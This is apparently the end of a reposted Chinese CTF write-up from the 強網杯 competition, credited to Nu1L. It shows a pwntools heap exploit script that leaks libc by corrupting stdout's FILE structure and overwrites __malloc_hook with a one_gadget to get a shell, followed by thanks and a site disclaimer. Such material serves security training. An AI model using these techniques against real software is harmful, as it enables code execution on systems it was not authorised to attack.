        add(0x68) # 4 1
        add(0x68) # 6 2
        edit(3,"a" * 8 + "\xe8\x37\n")

        add(0x168)
        delete(2)
        delete(1)

        edit(4,"\x00\n")
        edit(0,"\xdd\x25\n")

        add(0x68)#1
        add(0x68)#2
        add(0x68)#9
        edit(9,"\x00"*3+p64(0)*6+p64(0xfbad1800) + p64(0)*3 + "\x00\n")
        p.recvuntil("\x7f\x00\x00")
        addr=u64(p.recv(8))+0x7ffff7a0d000-0x7ffff7dd26a3
        print hex(addr)

        p.sendline("3")
        p.sendlineafter(":\n","2") # 0 2
        edit(0,p64(addr+0x7ffff7dd1aed-0x7ffff7a0d000)+"\n")
        add(0x68) 
        add(0x68)
        edit(10,"\x00"*0x13+p64(addr+0xf0364)+"\n")

        add(0x10)

        #gdb.attach(p)
        p.interactive()

    except:
        print "fail"

感謝風沐雲煙、 railgun 師傅的指點!

內容來源

強網杯-Nu1L


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM